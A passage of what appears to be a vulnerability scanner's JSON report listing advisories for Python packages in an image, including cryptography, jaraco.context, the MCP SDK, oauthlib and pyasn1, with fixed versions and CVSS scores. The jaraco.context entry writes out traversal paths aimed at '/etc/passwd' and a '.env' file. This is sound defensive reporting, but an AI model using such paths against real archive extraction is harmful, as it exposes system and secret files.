"https://avd.aquasec.com/nvd/cve-2026-69249", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:18e5cedbb0f4a92995b5cd1088e8037726d39a70dea269da615e0019baaae01b", "Title": "python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building", "Description": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64774", "https://access.redhat.com/security/cve/CVE-2026-69249", "https://advisory.echohq.com/cve/CVE-2026-69249", "https://bugzilla.redhat.com/2510815", "https://bugzilla.redhat.com/2510830", "https://bugzilla.redhat.com/show_bug.cgi?id=2510815", "https://bugzilla.redhat.com/show_bug.cgi?id=2510830", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69249", "https://errata.almalinux.org/9/ALSA-2026-64774.html", "https://errata.rockylinux.org/RLSA-2026:64774", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/3763aa79b", "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582", "https://github.com/pyca/cryptography/pull/14960", "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww", "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml", "https://linux.oracle.com/cve/CVE-2026-69249.html", "https://linux.oracle.com/errata/ELSA-2026-71658.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-69249", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69249" ], "PublishedDate": "2026-08-03T22:16:52.72Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "GHSA-537c-gmf6-5ccf", "PkgName": "cryptography", "PkgPath": "usr/local/lib/python3.11/site-packages/cryptography-47.0.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@47.0.0", "UID": "6dae9d3d1dec87c4" }, "InstalledVersion": "47.0.0", "FixedVersion": "48.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-537c-gmf6-5ccf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8e9e9652e7ee06f522f0b52e5ff8b68b222de3c0b8d0328bf9c136a5c8e7c12a", "Title": "Vulnerable OpenSSL included in cryptography wheels", "Description": "pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf you are building cryptography source (\"sdist\") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-537c-gmf6-5ccf", "https://github.com/advisories/GHSA-537c-gmf6-5ccf", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf", "https://openssl-library.org/news/secadv/20260609.txt" ], "PublishedDate": "2026-06-15T20:12:27Z", "LastModifiedDate": "2026-06-15T20:12:27Z" }, { "VulnerabilityID": "CVE-2026-23949", "VendorIDs": [ "GHSA-58pv-8j8x-9vj2" ], "PkgName": "jaraco.context", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "InstalledVersion": "5.3.0", "FixedVersion": "6.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23949", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9f270ab66be3b86b69ad56c26383bbeb0a6c803f6e3dfc07d026d0c7078e0237", "Title": "jaraco.context: jaraco.context: Path traversal via malicious tar archives", "Description": "jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23949", "https://advisory.echohq.com/cve/CVE-2026-23949", "https://github.com/jaraco/jaraco.context", "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91", "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9", "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2", "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76", "https://nvd.nist.gov/vuln/detail/CVE-2026-23949", "https://ubuntu.com/security/notices/USN-7979-1", "https://www.cve.org/CVERecord?id=CVE-2026-23949" ], "PublishedDate": "2026-01-20T01:15:57.723Z", "LastModifiedDate": "2026-06-17T10:22:20.2Z" }, { "VulnerabilityID": "CVE-2026-52869", "VendorIDs": [ "GHSA-jpw9-pfvf-9f58" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.11/site-packages/mcp-1.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.27.0", "UID": "a2ee91523f4d7582" }, "InstalledVersion": "1.27.0", "FixedVersion": "1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52869", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2305504879d191f2275be8281296d0eb323bdc1b9ada0e141a6ee0ee60ee5e16", "Title": "MCP Python SDK: HTTP transports serve session requests without verifying the authenticated principal", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.27.2, the SSE and stateful Streamable HTTP transports mcp.server.sse.SseServerTransport and mcp.server.streamable_http_manager.StreamableHTTPSessionManager route requests to existing sessions using only the session_id query parameter or Mcp-Session-Id header without verifying the authenticated principal that created the session, allowing a different bearer-token-authenticated client with a known session ID to inject JSON-RPC messages into that session. This issue is fixed in version 1.27.2.", "Severity": "HIGH", "CweIDs": [ "CWE-639" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.1 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-52869", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/1abcca2408a6b50e10ec601181f63f9978705c00", "https://github.com/modelcontextprotocol/python-sdk/commit/ce267b6fc515dc4efc1dc70b6975b16ff0feef0a", "https://github.com/modelcontextprotocol/python-sdk/pull/2690", "https://github.com/modelcontextprotocol/python-sdk/pull/2719", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.27.2", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-jpw9-pfvf-9f58", "https://nvd.nist.gov/vuln/detail/CVE-2026-52869" ], "PublishedDate": "2026-07-15T20:17:38.427Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-52870", "VendorIDs": [ "GHSA-hvrp-rf83-w775" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.11/site-packages/mcp-1.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.27.0", "UID": "a2ee91523f4d7582" }, "InstalledVersion": "1.27.0", "FixedVersion": "1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52870", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:24e5c0994863813b22bdb7c4c798493f3f895b4b989b0ebf46cd421d38a17cc4", "Title": "MCP Python SDK: Experimental task handlers allow any client to access and cancel other clients' tasks", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.23.0 until 1.27.2, default handlers installed by server.experimental.enable_tasks() for tasks/list, tasks/get, tasks/result, and tasks/cancel operate only on task identifiers without recording the session that created each task, allowing any connected client to enumerate, read results from, consume messages for, or cancel other clients' tasks. This issue is fixed in version 1.27.2.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 7.6 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-52870", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/62137874ff26dd74d2fea80ff528a7fd9ca7a5e7", "https://github.com/modelcontextprotocol/python-sdk/pull/2720", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.27.2", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-hvrp-rf83-w775", "https://nvd.nist.gov/vuln/detail/CVE-2026-52870" ], "PublishedDate": "2026-07-15T20:17:38.577Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59950", "VendorIDs": [ "GHSA-vj7q-gjh5-988w" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.11/site-packages/mcp-1.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.27.0", "UID": "a2ee91523f4d7582" }, "InstalledVersion": "1.27.0", "FixedVersion": "1.28.1", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59950", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2879caa20e6546320f7e87676f47666d8fdb16e56c2b48e05585954ac10796bb", "Title": "MCP Python SDK: WebSocket server transport does not support Host/Origin validation", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.28.1, the deprecated mcp.server.websocket.websocket_server transport accepted WebSocket handshakes without applying Host or Origin header validation, leaving no SDK-level way to restrict which origins could connect to applications that exposed that transport. This issue is fixed in version 1.28.1.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-1385" ], "VendorSeverity": { "ghsa": 3, "nvd": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-59950", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/777b8d06710c140e3606b0d4598e2aa48546c266", "https://github.com/modelcontextprotocol/python-sdk/pull/2992", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.28.1", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-vj7q-gjh5-988w", "https://nvd.nist.gov/vuln/detail/CVE-2026-59950" ], "PublishedDate": "2026-07-15T21:16:55.683Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-118669", "VendorIDs": [ "GHSA-7984-qgvg-3j9c" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118669", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:686a314bec81711dc430233468be34cb6742f80c2dfe665c91ff8e1f45ebe213", "Title": "oauthlib: oauthlib: privilege escalation via client identity confusion in token grant handlers", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N", "V40Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118669", "https://advisory.echohq.com/cve/CVE-2026-118669", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d", "https://github.com/oauthlib/oauthlib/pull/920", "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c", "https://nvd.nist.gov/vuln/detail/CVE-2026-118669", "https://www.cve.org/CVERecord?id=CVE-2026-118669" ], "PublishedDate": "2026-10-28T22:17:12.61Z", "LastModifiedDate": "2026-11-03T14:17:32.237Z" }, { "VulnerabilityID": "CVE-2026-49272", "VendorIDs": [ "GHSA-3jp2-3mrg-2vxc" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49272", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0600d3b641cdb4cf7cabb568d588d024ed5ec490759653543da2fc676ba61a70", "Title": "oauthlib: oauthlib: Authentication bypass via missing device code validation", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 3.3.0 until 4.0.1, OAuthLib's RFC 8628 device workflow does not require DeviceCodeGrant.validate_token_request to check that the device_code parameter is present and valid. A caller whose client request is accepted by the configured validator and who knows a valid client ID enabled for the device workflow can submit a missing or bogus device code to the token endpoint and obtain a bearer token without completing device authorization. This issue is fixed in version 4.0.1.", "Severity": "HIGH", "CweIDs": [ "CWE-287" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49272", "https://advisory.echohq.com/cve/CVE-2026-49272", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114", "https://github.com/oauthlib/oauthlib/pull/954", "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc", "https://nvd.nist.gov/vuln/detail/CVE-2026-49272", "https://www.cve.org/CVERecord?id=CVE-2026-49272" ], "PublishedDate": "2026-11-05T21:18:50.447Z", "LastModifiedDate": "2026-11-05T22:18:44.593Z" }, { "VulnerabilityID": "CVE-2026-119194", "VendorIDs": [ "GHSA-fm9c-5rcf-2q5p" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119194", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:86f6f2c91bc261f92b0a1578239f282aac5e8a3b4f042023be7f20821e5f1fa6", "Title": "pyasn1: pyasn1: Denial of Service via hash collisions in schemaless decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119194", "https://advisory.echohq.com/cve/CVE-2026-119194", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p", "https://nvd.nist.gov/vuln/detail/CVE-2026-119194", "https://www.cve.org/CVERecord?id=CVE-2026-119194" ], "PublishedDate": "2026-10-29T20:17:30.48Z", "LastModifiedDate": "2026-11-03T17:18:03.863Z" }, { "VulnerabilityID": "CVE-2026-119195", "VendorIDs": [ "GHSA-9m75-vc3g-4x39" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119195", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c1e1266d3876fb5894e5ff62e9a9f0c998fc3ed05add1134eb7212f6b8193cb3", "Title": "pyasn1: pyasn1: Denial of Service via quadratic processing of fragmented ASN.1 data", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed string and indefinite-length ANY decoding repeatedly concatenates each fragment onto a growing bytes value. Attacker-controlled BER or CER data can use many constructed OCTET STRING or character-string fragments. DER rejects constructed OCTET STRING without a schema, but accepts its definite-length form when asn1Spec selects univ.OctetString; it also accepts constructed character strings such as UTF8String without a schema, even though those encodings are not valid DER. The separate indefinite-length ANY path is reachable in BER and CER when asn1Spec selects univ.Any; DER rejects indefinite lengths. OctetStringPayloadDecoder uses growing header concatenation and AnyPayloadDecoder.indefLenValueDecoder uses growing chunk concatenation, repeatedly copying an increasing prefix and causing quadratic work. A sufficiently fragmented value can occupy decoding workers and cause CPU exhaustion without confidentiality or integrity impact. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119195", "https://advisory.echohq.com/cve/CVE-2026-119195", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39", "https://nvd.nist.gov/vuln/detail/CVE-2026-119195", "https://www.cve.org/CVERecord?id=CVE-2026-119195" ], "PublishedDate": "2026-10-29T20:17:30.633Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-119196", "VendorIDs": [ "GHSA-2qm8-x737-gmw5" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119196", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:78fed2670a53d0a6cb08a2112ce0c9a2ee0e3032406aa784c7a40f5198a11775", "Title": "pyasn1: pyasn1: Denial of Service via constructed bit string decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed BIT STRING decoding repeatedly shifts and copies the complete bit value accumulated from earlier fragments. Attacker-controlled BER or CER input contains many constructed BIT STRING fragments; schema-driven DER also accepts a definite-length constructed BIT STRING. BitStringPayloadDecoder repeatedly calls BitString.fromOctetString with the prior bitString as prepend, shifting an ever-growing SizedInteger for each fragment and causing quadratic work. Large fragmented values can exhaust CPU during decode() without requiring later conversion or formatting. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119196", "https://advisory.echohq.com/cve/CVE-2026-119196", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5", "https://nvd.nist.gov/vuln/detail/CVE-2026-119196", "https://www.cve.org/CVERecord?id=CVE-2026-119196" ], "PublishedDate": "2026-10-29T20:17:30.77Z", "LastModifiedDate": "2026-11-04T02:17:18.177Z" }, { "VulnerabilityID": "CVE-2026-119197", "VendorIDs": [ "GHSA-mm57-4v3p-rchx" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d3c66b9d2a803484222b8cdf7e316fb1ffbd9fca7a4a31acca5c46e4ab6f8068", "Title": "pyasn1: pyasn1: Denial of Service via quadratic complexity in binary REAL decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, binary REAL decoding builds a large mantissa one octet at a time by shifting a growing integer and slicing the remaining byte string. Attacker-controlled ASN.1 includes a binary-encoded REAL with a large mantissa and reaches BER, CER, or DER decode(), with or without a schema containing REAL. RealPayloadDecoder.valueDecoder repeatedly performs a left shift, OR, and suffix copy for every mantissa octet, making decode time quadratic in mantissa length. A comparatively small REAL value can hold a decoding worker on one CPU core for seconds or longer and cause availability loss. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119197", "https://advisory.echohq.com/cve/CVE-2026-119197", 